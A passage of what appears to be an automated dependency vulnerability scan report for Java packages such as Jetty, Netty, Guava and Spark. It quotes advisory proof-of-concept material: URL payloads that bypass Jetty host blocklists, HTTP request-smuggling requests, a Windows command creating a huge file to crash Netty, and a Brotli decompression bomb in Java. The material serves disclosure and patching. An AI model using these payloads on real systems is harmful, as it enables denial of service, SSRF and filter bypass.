browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+ +medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency + + + + + + + + +
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 io.netty/netty-common 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-common@4.1.96.Final
+medium 5.5: CVE--2025--25193 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.1.118.Final
Fixed version4.1.118.Final
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.063%
EPSS Percentile20th percentile
+ +
Description +
+ +### Summary +An unsafe reading of environment file could potentially cause a denial of service in Netty. +When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. + +### Details +A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv +This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. + + +### PoC +The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. +When the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character. + +### Impact +Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv + +
+
+ +medium 5.4: CVE--2024--47535 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<=4.1.114.Final
Fixed version4.1.115.Final
CVSS Score5.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ +### Summary + +An unsafe reading of environment file could potentially cause a denial of service in Netty. +When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. + + +### Details + +When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed. + +At this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. + +1 + +If netty finds this files, it reads them and loads them into memory. + +By default : + +- The JVM maximum memory size is set to 1 GB, +- A non-privileged user can create a directory at `C:\` and create files within it. + +2 + +3 + +the source code identified : +https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java + +Despite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\etc\os-release` and `C:\usr\lib\os-release`. + +### PoC + +Create a file larger than 1 GB of data in `C:\etc\os-release` or `C:\usr\lib\os-release` on a Windows environnement and start your Netty application. + +To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/) + +``` +cd C:\etc +fsutil file createnew os-release 3000000000 +``` + +4 + +5 + +The source code used is the Netty website code example : [Echo ‐ the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html). + +The vulnerability was tested on the 4.1.112.Final version. + +The security analyst tried the same technique for `C:\proc\sys\net\core\somaxconn` with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186 + +### Impact + +By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application. + +This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists. + +Client mode : + +6 + +Server mode : + +7 + +somaxconn : + +8 + +### Severity + +- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running. +- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents). +- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability. +- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings. +- Scope : "Unchanged" because only Netty is affected by the vulnerability. +- Confidentiality : "None" because no data is exposed through exploiting the vulnerability. +- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere. +- Availability : "High" because the exploitation of this vulnerability crashes the entire java application. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) + +pkg:maven/org.apache.commons/commons-configuration2@2.8.0
+medium 6.9: CVE--2024--29133 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.509%
EPSS Percentile66th percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+ +medium 6.5: CVE--2024--29131 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile43rd percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) + +pkg:maven/com.google.guava/guava@27.0-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) + +pkg:maven/com.google.guava/guava@30.1.1-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http@4.1.96.Final
+medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<4.1.108.Final
Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.261%
EPSS Percentile49th percentile
+ +
Description +
+ +### Summary +The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors + +### Details +1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. +2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits + +### PoC + +Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder + + +Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 + +### Impact +Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. + +
+
+ +low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ +## Summary +A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. + +## Details +When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). + +This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): + +``` +POST /one HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 + +POST /two HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +0 + +``` + +The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). + +## Impact +This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. + +The impact is high, but it only affects setups that use a front-end which: +1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. +2. Forwards chunk extensions without normalization. + +## Disclosure + + - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html + +## Discussion +Discussion for this vulnerability can be found here: + - https://github.com/netty/netty/issues/15522 + - https://github.com/JLLeitschuh/unCVEed/issues/1 + +## Credit + + - Credit to @JeppW for uncovering this vulnerability. + - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec@4.1.96.Final
+medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) + + + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.034%
EPSS Percentile10th percentile
+ +
Description +
+ +### Summary + +With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. + +### Details + +`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. + +Tested on 4.1.118, but there were no changes to the decoder since. + +### PoC + +Run this test case with `-Xmx1G`: + +```java +import io.netty.buffer.Unpooled; +import io.netty.channel.embedded.EmbeddedChannel; + +import java.util.Base64; + +public class T { + public static void main(String[] args) { + EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); + channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); + } +} +``` + +Error: + +``` +Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) + at java.base/java.nio.Bits.reserveMemory(Bits.java:178) + at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) + at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) + at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) + at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) + at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) + at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) + at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) + at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) + at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) + at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) + at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) + at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) + at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) + at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) + at io.netty.handler.codec.compression.T.main(T.java:11) +``` + +### Impact + +DoS for anyone using `BrotliDecoder` on untrusted input. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.056%
EPSS Percentile17th percentile
+ +
Description +
+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile68th percentile
+ +
Description +
